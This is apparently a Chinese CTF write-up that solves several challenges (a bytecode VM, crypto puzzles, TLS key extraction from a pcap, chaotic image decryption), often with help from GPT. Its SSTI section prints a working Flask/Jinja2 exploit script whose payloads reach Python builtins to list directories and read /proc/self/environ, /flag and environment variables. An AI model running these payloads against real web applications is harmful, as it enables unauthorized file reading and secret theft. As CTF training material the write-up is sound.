                if should_jump:
                    if offset > 127:
                        offset -= 256
                    self.ip += offset
                    continue
                    if opcode == 13:
                        self.push(len(self.user_input))
                        continue
                    if opcode == 14:
                        addr = self.pop()
                        self.push(self.mem[addr])
                        continue
                    if opcode == 15:
                        addr = self.pop()
                        val = self.pop()
                        self.mem[addr] = val
                        continue
                    if opcode == 255:
                        self.halted = True
                        continue
                    self.halted = True
            continue
        return bool(self.pop())



def check_flag(s):
    BYTECODE = b'%01i%032%011%033%01A%034%01\t%035%01%a1%036%01`%037%01%a1%038%01%81%039%011%03:%019%03;%01%8b%03<%01!%03=%01%d1%03>%019%03?%01 %03@%01%b1%03A%01%f9%03B%01%d9%03C%01q%03D%01f%03E%01%18%03F%01%99%03G%01V%03H%01%e9%03I%01q%03J%010%03K%01V%03L%018%03M%01%a1%03N%01%ab%03O%01%86%03P\r%01%1f\t\n=%01K%03%02%01%00%03%00%02%00%01%1f\t%0b+%01%10%02%00%04%0e%02%00%04%02%02%05%03%01%02%01%01%03%06%02%01%01%05%07%08%012%02%00%04%0e\t\n%0c%02%00%01%01%04%03%00%0c%ce%01%01%ff%01%00%ff'
    vm = TinyVM(BYTECODE, s.encode('utf-8'))
    return vm.run()


def main():
    print('「欢迎,开拓者。这里是一个被星核污染的赛博空间。」')
    print('「检测到未知访问者...」机械女声响起,像是黑塔空间站的自动防御系统')
    print('「哼,又一个被星核吸引来的家伙。想通过验证?先证明你不是个笨蛋吧。」——某位不愿透露姓名的天才俱乐部成员留言')
# WARNING: Decompyle incomplete

if __name__ == '__main__':
    main()

把代码发送给AI,让AI写解题脚本

image-20251028103630855

image-20251028103641609

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

class TinyVM:
    """修复后的TinyVM"""
    def __init__(self, bytecode, user_input):
        self.bytecode = bytecode
        self.user_input = user_input
        self.mem = [0] * 100
        self.ip = 0
        self.stack = []
        self.f = False
        self.halted = False
        for i, char_code in enumerate(self.user_input):
            self.mem[16 + i] = char_code

    def push(self, value):
        self.stack.append(value & 255)

    def pop(self):
        if self.stack:
            return self.stack.pop()
        return 0

    def run(self):
        while not self.halted and self.ip < len(self.bytecode):
            opcode = self.bytecode[self.ip]
            self.ip += 1
            
            if opcode == 1:  # PUSH
                self.push(self.bytecode[self.ip])
                self.ip += 1
            elif opcode == 2:  # LOAD
                self.push(self.mem[self.bytecode[self.ip]])
                self.ip += 1
            elif opcode == 3:  # STORE
                self.mem[self.bytecode[self.ip]] = self.pop()
                self.ip += 1
            elif opcode == 4:  # ADD
                self.push(self.pop() + self.pop())
            elif opcode == 5:  # XOR
                self.push(self.pop() ^ self.pop())
            elif opcode == 6:  # SHL
                n = self.pop()
                v = self.pop()
                self.push(v << n)
            elif opcode == 7:  # SHR
                n = self.pop()
                v = self.pop()
                self.push(v >> n)
            elif opcode == 8:  # OR
                self.push(self.pop() | self.pop())
            elif opcode == 9:  # CMP
                self.f = self.pop() == self.pop()
            elif opcode == 10:  # JZ - 跳转如果f==False
                offset = self.bytecode[self.ip]
                self.ip += 1
                if not self.f:
                    if offset > 127:
                        offset -= 256
                    self.ip += offset
            elif opcode == 11:  # JNZ - 跳转如果f==True
                offset = self.bytecode[self.ip]
                self.ip += 1
                if self.f:
                    if offset > 127:
                        offset -= 256
                    self.ip += offset
            elif opcode == 12:  # JMP - 无条件跳转
                offset = self.bytecode[self.ip]
                self.ip += 1
                if offset > 127:
                    offset -= 256
                self.ip += offset
            elif opcode == 13:  # PUSHLEN
                self.push(len(self.user_input))
            elif opcode == 14:  # LOAD_IND
                addr = self.pop()
                self.push(self.mem[addr])
            elif opcode == 15:  # STORE_IND
                addr = self.pop()
                val = self.pop()
                self.mem[addr] = val
            elif opcode == 255:  # HALT
                self.halted = True
            else:
                self.halted = True
        
        if self.stack:
            return bool(self.pop())
        return False


def solve_flag():
    """求解FLAG"""
    targets = [
        0x69, 0x11, 0x41, 0x09, 0xa1, 0x60, 0xa1, 0x81, 0x31, 0x39,
        0x8b, 0x21, 0xd1, 0x39, 0x20, 0xb1, 0xf9, 0xd9, 0x71, 0x66,
        0x18, 0x99, 0x56, 0xe9, 0x71, 0x30, 0x56, 0x38, 0xa1, 0xab,
        0x86
    ]
    
    key = 0x4B
    flag_chars = []
    
    print("逆向求解FLAG")
    print("=" * 60)
    
    for i in range(len(targets)):
        encrypted = targets[i]
        # 逆向ROL 3
        temp = ((encrypted >> 3) | ((encrypted & 0x07) << 5)) & 0xFF
        # 逆向XOR和ADD
        original = ((temp ^ key) - i) & 0xFF
        flag_chars.append(chr(original))
        print(f"位置 {i:2d}: 0x{encrypted:02x} -> 0x{original:02x} ('{chr(original)}')")
    
    flag = ''.join(flag_chars)
    return flag


def main():
    print("TinyVM 解题脚本")
    print()
    
    flag = solve_flag()
    
    print()
    print("=" * 60)
    print(f"FLAG: {flag}")
    print("=" * 60)
    print()
    
    # 验证
    BYTECODE = b'\x01i\x032\x01\x11\x033\x01A\x034\x01\t\x035\x01\xa1\x036\x01`\x037\x01\xa1\x038\x01\x81\x039\x011\x03:\x019\x03;\x01\x8b\x03<\x01!\x03=\x01\xd1\x03>\x019\x03?\x01 \x03@\x01\xb1\x03A\x01\xf9\x03B\x01\xd9\x03C\x01q\x03D\x01f\x03E\x01\x18\x03F\x01\x99\x03G\x01V\x03H\x01\xe9\x03I\x01q\x03J\x010\x03K\x01V\x03L\x018\x03M\x01\xa1\x03N\x01\xab\x03O\x01\x86\x03P\r\x01\x1f\t\n=\x01K\x03\x02\x01\x00\x03\x00\x02\x00\x01\x1f\t\x0b+\x01\x10\x02\x00\x04\x0e\x02\x00\x04\x02\x02\x05\x03\x01\x02\x01\x01\x03\x06\x02\x01\x01\x05\x07\x08\x012\x02\x00\x04\x0e\t\n\x0c\x02\x00\x01\x01\x04\x03\x00\x0c\xce\x01\x01\xff\x01\x00\xff'
    vm = TinyVM(BYTECODE, flag.encode('utf-8'))
    result = vm.run()
    
    if result:
        print("验证成功!")
        print()
        print("*" * 60)
        print(f"最终答案: {flag}")
        print("*" * 60)
    else:
        print("验证失败")


if __name__ == "__main__":
    main()

手动把答案的h换成l,得到:flag{Bytec0de_And_St4ck_M4g1c!}

image-20251028103733670


挑战题

[Cry]final_R

题目描述:NewStar2025 密码收官之作。

被GPT秒了😎

image-20251027155417421

image-20251027160230468

GPT思考链:

逆向推标志字符串

# Let's implement the cipher function from the user's code and try to recover the flag via heuristic search.
from itertools import accumulate
import operator, random, time

a=7
b=0b10000011
c=59
d=(1<<a)-1
e=list(accumulate(range(d), lambda r,l: (r<<1)^b if (r<<1)&(1<<a) else r<<1, initial=1))[1:]
g=e+e
h=[0]*(1<<a)
for l,r in enumerate(e):
    h[r]=l

def encode_from_flag(z):
    j=[g[ord(s)%d] for s in z]
    # compute k
    k=[]
    for p in range(c):
        val=0
        for l in range(c):
            if j[l] and j[(p-l)%c]:
                val ^= g[h[j[l]] + h[j[(p-l)%c]]]
        q = h[val] if val else 0
        k.append(q)
    return bytes(k)

# Provided ciphertext from the print: 
ct = b"MfYGCnO`

进行启发式搜索优化

printable = [i for i in range(32,127)]
target = list(ct)
random.seed(0)

def score_flag(arr):
    s = encode_from_flag(''.join(chr(x) for x in arr))
    # score = number of matching bytes
    return sum(1 for i in range(c) if s[i]==target[i])

def hill_climb(init=None, iters=2000):
    if init is None:
        arr = [random.choice(printable) for _ in range(c)]
    else:
        arr = init[:]
    best = score_flag(arr)
    no_improve=0
    for it in range(iters):
        i = random.randrange(c)
        improved=False
        # try candidates (maybe prioritize ascii letters and common flag chars)
        candidates = list(range(32,127))
        random.shuffle(candidates)
        for cand in candidates[:60]: # try 60 random candidates
            old = arr[i]
            if cand==old: continue
            arr[i]=cand
            sc = score_flag(arr)
            if sc>best:
                best=sc; improved=True; break
            else:
                arr[i]=old
        if not improved:
            no_improve+=1
        else:
            no_improve=0
        if best==c: break
        if no_improve>500:
            break
    return arr,best

# try multiple restarts
best_global=None; best_score= -1
start=time.time()
for r in range(80):
    arr = None
    if r==0:
        # try plausible start with "flag{"
        s = [ord('f'),ord('l'),ord('a'),ord('g'),ord('{')] + [random.choice(printable) for _ in range(c-5)]
        arr=s
    arr,sc = hill_climb(arr, iters=2000)
    if sc>best_score:
        best_score=sc; best_global=arr[:]
    if best_score==c:
        break
    if time.time()-start>20:
        break
best_score, ''.join(chr(x) for x in best_global)[:100]
(59, 'flag{Circu1@r_c0nv01u7i0n_0N_v3c70R==5Qu@Ring_A_p01yn0mia!}')

[re] Not Symmetric

题目描述:你知道非对称加密吗?

加密算法分析

1. 整体流程

输入消息 → 填充到4字节倍数 → 分块(4字节) → 每块独立加密 → 输出两个列表

2. 核心函数

pad_message()
  • 功能:将消息填充到4字节的倍数
  • 填充字符:空格(0x20)
  • 计算:padding_size = (4 - len(msg) % 4) % 4

bytes_to_long()
  • 功能:字节转整数(大端序)
  • 实现:从左到右,每次左移8位加上下一个字节
  • 例如:[0x66, 0x6c, 0x61, 0x67]0x666c6167 = 1718378855

KMPC(iterations, prime)
  • 这是核心加密函数

  • 算法:

      p₀ = prime
      for i in 1 to iterations-1:
          找最小的 k 使得 k*p_{i-1} + 1 是质数
          p_i = k*p_{i-1} + 1
      return p_{iterations-1}
  • 这是一个迭代的质数链生成算法


3. 加密流程(每块)

对于第 i 块(4字节):

  1. 转为整数 n = bytes_to_long(block)

  2. 找下一个质数 p = nextprime(n)

  3. 记录偏移量 offset = p - n → 存入列表1

  4. 计算迭代次数:

    iterations = ((key[i % 20] ^ 0xCC) + i + rand() % 65)
    key = "DonTry_To_Brute_Time"
  5. 使用KMPC加密:encrypted = KMPC(iterations, p) → 存入列表2


解密算法

关键思路

KMPC的逆向

  • 正向:p_i = k*p_{i-1} + 1
  • 逆向:p_{i-1} 整除 (p_i - 1)

因此,可以通过质因数分解来找前驱质数!


解密步骤

  1. 逆向KMPC - BFS搜索所有可能的前驱质数
def reverse_kmpc_all_candidates(encrypted_value):
candidates = [encrypted_value]
results = []

while candidates:
    current = candidates.pop(0)
    
    # 如果在4字节范围内且是质数,加入结果
    if 2^24 <= current <= 2^32 and isprime(current):
        results.append(current)
    
    # 分解 (current - 1) 找所有可能的前驱
    factors = factorint(current - 1)
    for prime_factor in factors.keys():
        if prime_factor > 1000:
            candidates.append(prime_factor)

return results
  1. 优先选择ASCII可打印的候选
    • 对于每个候选质数 p
    • 计算原始数字:n = p - offset
    • 转为字节:bytes = long_to_bytes(n, 4)
    • 检查是否都是可打印ASCII字符(32-126)
    • 优先返回可打印的候选
  2. 恢复原始消息
    • 对每个块:原始数字 = 候选质数 - offset
    • 转为4字节(大端序)
    • 拼接所有块
    • 去除填充空格

完整解密脚本

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from sympy import isprime, factorint
from Crypto.Util.number import long_to_bytes

def reverse_kmpc_all_candidates(encrypted_value, target_range=(2**24, 2**32)):
    """
    逆向KMPC函数 - 返回所有可能的候选
    """
    candidates = [encrypted_value]
    visited = set()
    results = []
    
    # BFS搜索所有可能的前驱
    while candidates:
        current = candidates.pop(0)
        
        if current in visited:
            continue
        visited.add(current)
        
        # 如果在目标范围内,加入结果
        if target_range[0] <= current <= target_range[1] and isprime(current):
            results.append(current)
        
        # 如果太小了,停止
        if current < target_range[0]:
            continue
        
        # 寻找前驱: current = k * prev + 1, 所以 prev | (current-1)
        factors = factorint(current - 1)
        
        # 尝试所有质因子作为可能的前驱
        for prime_factor in factors.keys():
            if prime_factor > 1000:  # 只考虑足够大的因子
                candidates.append(prime_factor)
    
    return sorted(results)

def reverse_kmpc(encrypted_value, offset, target_range=(2**24, 2**32)):
    """
    逆向KMPC函数 - 返回最可能的质数(优先选择ASCII可打印的)
    """
    candidates = reverse_kmpc_all_candidates(encrypted_value, target_range)
    
    # 优先选择能生成ASCII可打印字符的候选
    for prime in candidates:
        original_num = prime - offset
        if original_num > 0:
            try:
                chunk_bytes = long_to_bytes_be(original_num, 4)
                if all(32 <= b < 127 for b in chunk_bytes):
                    return prime
            except:
                pass
    
    # 如果没有ASCII的,返回最小的
    if candidates:
        return candidates[0]
    return None

def long_to_bytes_be(n, length=4):
    """大端序转换回字节"""
    result = []
    for _ in range(length):
        result.append(n & 0xff)
        n >>= 8
    return bytes(reversed(result))

def main():
    # 读取result.txt
    with open('result.txt', 'r') as f:
        lines = f.readlines()
    
    # 解析两个列表
    offsets = eval(lines[0].strip())
    encrypted = eval(lines[1].strip())
    
    print(f"[*] 找到 {len(offsets)} 个块")
    print(f"[*] Offsets: {offsets[:5]}...")
    print(f"[*] 开始解密...\n")
    
    message_bytes = []
    
    for i in range(len(offsets)):
        print(f"[+] 处理块 {i+1}/{len(offsets)}")
        
        # 逆向KMPC得到原始质数
        encrypted_val = encrypted[i]
        offset = offsets[i]
        print(f"    加密值长度: {len(str(encrypted_val))} 位")
        print(f"    加密值 (hex): {hex(encrypted_val)[:50]}...")
        
        prime = reverse_kmpc(encrypted_val, offset)
        print(f"    逆向得到质数: {prime}")
        print(f"    质数 (hex): {hex(prime)}")
        print(f"    质数 (bits): {prime.bit_length()}")
        
        # 用offset恢复原始数字
        original_num = prime - offset
        print(f"    原始数字: {original_num}")
        print(f"    原始数字 (hex): {hex(original_num)}")
        
        # 转换为字节
        try:
            chunk_bytes = long_to_bytes_be(original_num, 4)
            message_bytes.extend(chunk_bytes)
            print(f"    字节 (hex): {chunk_bytes.hex()}")
            print(f"    字节 (repr): {chunk_bytes}")
        except Exception as e:
            print(f"    转换失败: {e}")
        
        print()
    
    # 组合并输出结果
    message = bytes(message_bytes)
    print("="*60)
    print(f"[*] 解密结果 (原始字节):")
    print(message)
    print()
    print(f"[*] 解密结果 (去除填充):")
    print(message.rstrip(b' '))
    print()
    print(f"[*] 解密结果 (ASCII):")
    try:
        flag = message.rstrip(b' ').decode('ascii')
        print(flag)
        print()
        print(f"[!] FLAG: {flag}")
    except:
        print("无法解码为ASCII,尝试其他编码...")
        print(message.rstrip(b' '))

if __name__ == "__main__":
    main()

image-20251027214447775


[Misc]不是所有牛奶都叫________

题目描述:什么牛奶?MN?YGNC?YL?特@$&!$&*!@$^&-------------------.(flag提交时去掉&符号)

筛选http流,在第97个流发现有段巨长的SSL key

image-20251031160407903


写一个脚本分离一下

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
SSL密钥提取脚本
从包含TLS secrets的JSON响应中提取SSL密钥日志
"""

import json
import sys
import os
import io

# 设置Windows控制台输出编码为UTF-8
if sys.platform == 'win32':
    sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='utf-8')
    sys.stderr = io.TextIOWrapper(sys.stderr.buffer, encoding='utf-8')

def extract_ssl_keys(input_file, output_file=None):
    """
    从输入文件中提取SSL密钥
    
    Args:
        input_file: 输入文件路径
        output_file: 输出文件路径(可选,默认为 sslkeylog.txt)
    """
    if output_file is None:
        output_file = "sslkeylog.txt"
    
    try:
        with open(input_file, 'r', encoding='utf-8') as f:
            content = f.read()
        
        # 尝试找到JSON部分(从第一个{开始)
        json_start = content.find('{')
        if json_start != -1:
            json_content = content[json_start:]
            # 解析JSON
            data = json.loads(json_content)
            
            # 提取content字段
            if 'content' in data:
                ssl_keys = data['content']
                
                # 保存到输出文件
                with open(output_file, 'w', encoding='utf-8') as f:
                    f.write(ssl_keys)
                
                # 统计密钥数量
                lines = ssl_keys.strip().split('\n')
                key_count = sum(1 for line in lines if line.strip() and not line.startswith('#'))
                
                print(f"✓ 成功提取SSL密钥")
                print(f"  输入文件: {input_file}")
                print(f"  输出文件: {output_file}")
                print(f"  密钥条目: {key_count} 条")
                
                # 统计各类密钥数量
                key_types = {}
                for line in lines:
                    if line.strip() and not line.startswith('#'):
                        key_type = line.split()[0]
                        key_types[key_type] = key_types.get(key_type, 0) + 1
                
                print(f"\n密钥类型统计:")
                for key_type, count in sorted(key_types.items()):
                    print(f"  {key_type}: {count}")
                
                return True
            else:
                print("✗ 错误: JSON中未找到'content'字段")
                return False
        else:
            # 如果不是JSON格式,可能整个文件就是SSL key log
            print("⚠ 未检测到JSON格式,尝试直接处理...")
            
            # 检查是否是有效的SSL key log格式
            lines = content.strip().split('\n')
            valid_lines = [line for line in lines if line.strip() and 
                          any(line.startswith(kt) for kt in [
                              'SERVER_HANDSHAKE_TRAFFIC_SECRET',
                              'CLIENT_HANDSHAKE_TRAFFIC_SECRET',
                              'SERVER_TRAFFIC_SECRET_0',
                              'CLIENT_TRAFFIC_SECRET_0',
                              'EXPORTER_SECRET'
                          ])]
            
            if valid_lines:
                with open(output_file, 'w', encoding='utf-8') as f:
                    f.write(content)
                print(f"✓ 已保存 {len(valid_lines)} 条密钥记录到 {output_file}")
                return True
            else:
                print("✗ 错误: 未找到有效的SSL密钥记录")
                return False
                
    except FileNotFoundError:
        print(f"✗ 错误: 找不到文件 {input_file}")
        return False
    except json.JSONDecodeError as e:
        print(f"✗ JSON解析错误: {e}")
        return False
    except Exception as e:
        print(f"✗ 发生错误: {e}")
        return False

def main():
    """主函数"""
    if len(sys.argv) < 2:
        print("用法: python extract_ssl_keys.py <输入文件> [输出文件]")
        print("示例: python extract_ssl_keys.py ssl.txt sslkeylog.txt")
        sys.exit(1)
    
    input_file = sys.argv[1]
    output_file = sys.argv[2] if len(sys.argv) > 2 else None
    
    success = extract_ssl_keys(input_file, output_file)
    sys.exit(0 if success else 1)

if __name__ == "__main__":
    main()

image-20251031160947593


把ssl_key.log导入到wireshark里面:编辑 —> 首选项 —> Protocols —> TLS

image-20251031161122141


继续查看http流,在第50个流里可以看到一段base64

image-20251031161236084


用cyberchef解码出一张二维码,扫码获得flag

image-20251031161338318

image-20251031161604906


[Cry]混沌密码学入门

乱糟糟的,这是什么?(flag只含可读明文,下划线,问号,感叹号。)
提示:出题人的环境是windows.

1. 加密原理分析

加密脚本使用了 Feigenbaum混沌方程 生成混沌序列,然后根据序列对像素进行置换:

# 生成混沌序列
xl, _ = Feigenbaum_Equation(0.9, 1.01, 0.1, 0.2, 0.22, 0.43, 2*n, n)

# 对混沌序列排序,得到置换索引
M1i = sorted(enumerate(xl), key=lambda x: x[1])
Mi = [index for index, value in M1i]

# 根据索引重新排列像素
encrypted[j] = original[Mi[j]]

2. 解密逻辑

解密是加密的逆过程:

  • 加密时:encrypted[j] = original[Mi[j]]
  • 解密时:original[Mi[j]] = encrypted[j]

3. 关键陷阱:图像被转置了!

这是本题最隐蔽的地方

原始的 flag.png 在加密前被 TRANSPOSE (转置) 处理过!或者说,加密和解密时的像素遍历顺序不同。

PIL坐标系统说明

  • pixels[x, y] 中,x是列(水平),y是行(垂直)
  • getdata() 返回的是行优先顺序(从左到右,从上到下)
  • for x in range(w): for y in range(h)列优先顺序

加密脚本使用的是 for x in range(w): for y in range(h) 的遍历方式,这相当于对图像做了隐式的转置操作。


4. 解密步骤

  1. 读取 chaos_chaos.png
  2. 先对图像进行 TRANSPOSE 变换
  3. 使用相同参数生成混沌序列
  4. 根据排序索引进行逆置换
  5. 对结果进行水平翻转 (FLIP_HORIZONTAL)

5. 解密脚本

"""
混沌图像解密 - 最终版本
关键发现:需要对图像进行transpose变换后再解密,最后水平翻转
"""
from math import sin, pi
from PIL import Image

def Feigenbaum_Equation(a, b, r1, r2, x1, y1, n, t):
    """Feigenbaum混沌方程"""
    x = [x1]
    y = [y1]
    for _ in range(n):
        x.append(3*a*sin(pi*x[-1]) + r1*y[-1])
        y.append(3*b*sin(pi*y[-1]) + r2*y[-1])
    return x[-t:], y[-t:]

print("="*60)
print("混沌图像解密程序")
print("="*60)

# 步骤1: 读取加密图像
print("\n[1] 读取加密图像...")
img = Image.open("chaos_chaos.png")
print(f"    图像尺寸: {img.size}")
print(f"    图像模式: {img.mode}")

# 步骤2: 关键!先进行transpose变换
print("\n[2] 对图像进行 TRANSPOSE 变换...")
img_transposed = img.transpose(Image.TRANSPOSE)
w, h = img_transposed.size
n = w * h
print(f"    变换后尺寸: {img_transposed.size}")

# 步骤3: 生成混沌序列
print("\n[3] 生成混沌序列...")
xl, _ = Feigenbaum_Equation(0.9, 1.01, 0.1, 0.2, 0.22, 0.43, 2*n, n)
print(f"    序列长度: {len(xl)}")

# 步骤4: 读取加密后的像素
print("\n[4] 读取像素数据...")
encrypted_pixels = list(img_transposed.getdata())
print(f"    像素数量: {len(encrypted_pixels)}")

# 步骤5: 构建排序索引(与加密过程相同)
print("\n[5] 构建置换索引...")
M1i = sorted(enumerate(xl), key=lambda x: x[1])
Mi = [index for index, value in M1i]

# 步骤6: 解密 - 逆置换
print("\n[6] 执行逆置换解密...")
original_pixels = [None] * n
for j in range(n):
    original_pixels[Mi[j]] = encrypted_pixels[j]

# 步骤7: 生成解密图像
print("\n[7] 生成解密图像...")
img_decrypted = Image.new(img_transposed.mode, (w, h))
img_decrypted.putdata(original_pixels)

# 步骤8: 关键!水平翻转
print("\n[8] 水平翻转得到最终结果...")
img_final = img_decrypted.transpose(Image.FLIP_LEFT_RIGHT)

# 保存结果
img_final.save("flag.png")
print("\n" + "="*60)
print("✓ 解密成功!")
print("✓ Flag已保存到: flag.png")
print("="*60)

# 同时保存一些中间结果用于调试
img_decrypted.save("flag_before_flip.png")
print("\n调试信息:")
print("  - flag_before_flip.png: 翻转前的图像")
print("  - flag.png: 最终可读的flag")

image-20251031200834174

手动抄写一下:flag{Does_it_look_chaotic?This_just_the_beginning!}


web_who’ssti_challenge

题目描述:什么叫你出题目的时候把 flag 给注释掉了?

源码审计

查看 app.py 源码,发现以下关键点:

# Line 10-12: Flag 存储逻辑
RealFlag = __import__("os").environ.get("ICQ_FLAG", "flag{test_flag}")
# 清除 ICQ_FLAG
__import__("os").environ["ICQ_FLAG"] = ""

# Line 7-8: 随机选择5个函数名
need_List = random.sample(func_List, 5)
need_List = dict.fromkeys(need_List, 0)

# Line 31-36: SSTI 漏洞点
sys.settrace(trace_calls)
print(render_template_string(submit))  # 用户输入直接渲染
sys.settrace(None)
if BoleanFlag:  # 永远为 False,因为 line 20-22 被注释
  return jsonify({"flag": RealFlag})
return jsonify({"status": "OK"})

关键问题识别

  1. SSTI 漏洞存在render_template_string(submit) 直接渲染用户输入
  2. 无回显:渲染结果被 print() 到服务器控制台,HTTP 响应永远是 {"status": "OK"}
  3. Flag 被”销毁”
    • Flag 从环境变量读入 RealFlag 后,立即清空 os.environ["ICQ_FLAG"]
    • 直接读取环境变量得不到 flag
  4. 正常返回 flag 的路径不可达
    • Line 20-22 被注释,BoleanFlag 永远为 False
    • if BoleanFlag: 分支永远不会执行

最终解法

Step 1: 理解访问路径

url_for.__globals__['current_app']  # Flask 应用实例
    .view_functions['index']         # index 路由函数对象
    .__globals__                     # app.py 模块的全局命名空间

这个路径可以访问到:

  • need_List - 要显示的函数列表(可修改)
  • RealFlag - 保存的 flag(但已为空串)
  • BoleanFlag - 控制标志
  • __builtins__ - 内置函数

Step 2: 发现环境变量恢复点

关键认知

  • Python 的 os.environ["ICQ_FLAG"] = "" 只是删除了 Python 字典中的键
  • Linux 进程的环境变量 /proc/self/environ 是只读的,保留了启动时的完整环境

验证:

# 在 Python 中删除环境变量
import os
os.environ["TEST"] = "value"
del os.environ["TEST"]

# 但在 /proc/self/environ 中仍能看到
with open('/proc/self/environ', 'r') as f:
    print(f.read())  # 包含 TEST=value

Step 3: 构造最终 Payload

  1. {% set g=... %} - 获取 app.py 的全局命名空间
  2. open('/proc/self/environ').read() - 读取进程环境变量
  3. g['need_List'].update({...}) - 将内容写入 need_List
  4. 键名为 'PROC_ENV=' ~ content,值为 1

Step 4: 完整利用脚本

import requests
import re
import warnings
from urllib3.exceptions import InsecureRequestWarning

warnings.simplefilter('ignore', InsecureRequestWarning)

BASE = "https://eci-2ze19de9rgdrt4xknowe.cloudeci1.ichunqiu.com:5000/"
s = requests.Session()

def inject_and_read(payload_desc, payload):
    """注入 payload,然后读取首页回显"""
    print(f"\n[*] {payload_desc}")
    print(f"[*] Payload: {payload[:100]}...")
    
    r = s.post(BASE, data={"submit": payload}, verify=False, timeout=10)
    html = s.get(BASE, verify=False, timeout=10).text
    
    # 提取 need_List 的所有键
    keys = re.findall(r'<p>([^<]+)</p>', html)
    print(f"[+] need_List 键列表: {keys}")
    
    # 查找 flag 模式
    flags = re.findall(r'(flag\{[^\}]+\}|FLAG\{[^\}]+\}|icq\{[^\}]+\}|ICQ\{[^\}]+\})', html, re.IGNORECASE)
    if flags:
        print(f"[!!!] 找到 FLAG: {flags[0]}")
        return flags[0]
    
    return None

# 策略1: 读取环境变量 os.environ
print("="*70)
print("策略1: 读取所有环境变量找 flag")
print("="*70)

payload1 = """{% set g=url_for.__globals__['current_app'].view_functions['index'].__globals__ %}
{% set os=g['__builtins__']['__import__']('os') %}
{% for k,v in os.environ.items() %}
{% if 'flag' in k.lower() or 'flag' in v.lower() %}
{{ g['need_List'].update({k ~ '=' ~ v: 1}) }}
{% endif %}
{% endfor %}"""

flag = inject_and_read("读取环境变量中的 flag", payload1)
if flag:
    exit(0)

# 策略2: 列出当前目录文件
print("\n" + "="*70)
print("策略2: 列出当前目录文件")
print("="*70)

payload2 = """{% set g=url_for.__globals__['current_app'].view_functions['index'].__globals__ %}
{% set os=g['__builtins__']['__import__']('os') %}
{% set files=os.listdir('.') %}
{{ g['need_List'].update({'FILES=' ~ (files|join(',')): 1}) }}"""

inject_and_read("列出当前目录", payload2)

# 策略3: 尝试读取常见 flag 文件
print("\n" + "="*70)
print("策略3: 尝试读取常见 flag 文件")
print("="*70)

for fname in ['flag.txt', 'flag', '/flag', '/tmp/flag', '/flag.txt', 'FLAG']:
    payload3 = f"""{{%- set g=url_for.__globals__['current_app'].view_functions['index'].__globals__ -%}}
{{%- set b=g['__builtins__'] -%}}
{{%- set content=b.open('{fname}').read() -%}}
{{{{- g['need_List'].update({{'{fname}=' ~ content: 1}}) -}}}}"""
    
    flag = inject_and_read(f"读取文件 {fname}", payload3)
    if flag:
        exit(0)

# 策略4: 读取 /proc/self/environ
print("\n" + "="*70)
print("策略4: 读取 /proc/self/environ")
print("="*70)

payload4 = """{% set g=url_for.__globals__['current_app'].view_functions['index'].__globals__ %}
{% set content=g['__builtins__'].open('/proc/self/environ').read() %}
{{ g['need_List'].update({'PROC_ENV=' ~ content: 1}) }}"""

flag = inject_and_read("读取 /proc/self/environ", payload4)
if flag:
    exit(0)

# 策略5: 直接读取 sys.modules['__main__'].__file__ 所在目录的所有文件
print("\n" + "="*70)
print("策略5: 列出 app.py 所在目录")
print("="*70)

payload5 = """{% set g=url_for.__globals__['current_app'].view_functions['index'].__globals__ %}
{% set os=g['__builtins__']['__import__']('os') %}
{% set path=os.path.dirname(g['__file__']) or '.' %}
{% set files=os.listdir(path) %}
{{ g['need_List'].update({'APP_DIR_FILES=' ~ (files|join(',')): 1}) }}"""

inject_and_read("列出 app.py 目录", payload5)

print("\n" + "="*70)
print("所有策略执行完毕,请检查上述回显")
print("="*70)

image-20251101172041141


[Cry]随机数之旅1.3

题目描述:最旧最冷配置

from Crypto.Util.number import *

p = 478475545597700801137542329947268027178596565166277501475984783168264336204134464479893480035711325623
hint = [
    249919247565764496968024420668100990050724930264873012553221627994767139138419916559737152956192938786,
    341098538517870638403021803297435486563954299904421591195678329627022088404800269966659959073623486227,
    20018219100052262465673657639106096626775270934552714906385093540517665089433306304783945869390965352,
    477110987927537932362183022083084081803652185884243696031637228688890267574215943741789667631285188517,
    316109317526042308856009312339591028959770431193022541894694590723163440242617594274841279773268292931,
    288838512929949193288464156452590499193348618769922838206940876596503314942400180385295933551444987426,
    181266945000896484248052902194760405660042158622313374086868842724033187572461235292532472052806294610,
    363891817161955280083221864938995130581363107122643810787521989924285652140760869565757181912307151144,
    176158258425616548246181359314308658522975855113878838400631572536985398273419876407488652665740506588,
    226304243444318985869957901105733987782986057182483943969163921743774283862329285859875298207849486395,
    235563126973016483026307105002236457145848856279569924823679216801904771557144382780782533443602319128
]

x0, x1, x2 = hint[0], hint[1], hint[2]

# 计算 a
diff1 = (x1 - x0) % p
diff2 = (x2 - x1) % p
inv_diff1 = pow(diff1, p-2, p)
a = (diff2 * inv_diff1) % p

# 计算 m
m = (x1 - a * x0) % p

# 还原 flag
flag = long_to_bytes(m).decode()
print("flag =", flag)

image-20251107183633123


[Cry]随机数之旅1.9

题目描述:最旧最冷配置pro max

from Crypto.Util.number import *

# --- 已知信息 ---
p = 478475545597700801137542329947268027178596565166277501475984783168264336204134464479893480035711325623

hint = [
    249919247565764496968024420668100990050724930264873012553221627994767139138419916559737152956192938786,
    341098538517870638403021803297435486563954299904421591195678329627022088404800269966659959073623486227,
    20018219100052262465673657639106096626775270934552714906385093540517665089433306304783945869390965352,
    477110987927537932362183022083084081803652185884243696031637228688890267574215943741789667631285188517,
    316109317526042308856009312339591028959770431193022541894694590723163440242617594274841279773268292931,
    288838512929949193288464156452590499193348618769922838206940876596503314942400180385295933551444987426,
    181266945000896484248052902194760405660042158622313374086868842724033187572461235292532472052806294610,
    363891817161955280083221864938995130581363107122643810787521989924285652140760869565757181912307151144,
    176158258425616548246181359314308658522975855113878838400631572536985398273419876407488652665740506588,
    226304243444318985869957901105733987782986057182483943969163921743774283862329285859875298207849486395,
    235563126973016483026307105002236457145848856279569924823679216801904771557144382780782533443602319128
]

# --- 攻击过程 ---

# 从 hint 数列中取出连续的三项
x0 = hint[0]
x1 = hint[1]
x2 = hint[2]

# 1. 计算 a
# a = (x2 - x1) * (x1 - x0)^{-1} mod p
diff1 = (x1 - x0) % p
diff2 = (x2 - x1) % p

# 计算 (x1 - x0) 的模逆元
inv_diff1 = pow(diff1, p - 2, p)

# 计算 a
a = (diff2 * inv_diff1) % p

# 2. 计算 m (即 c)
# m = (x1 - a * x0) mod p
m = (x1 - a * x0) % p

# 3. 还原 flag
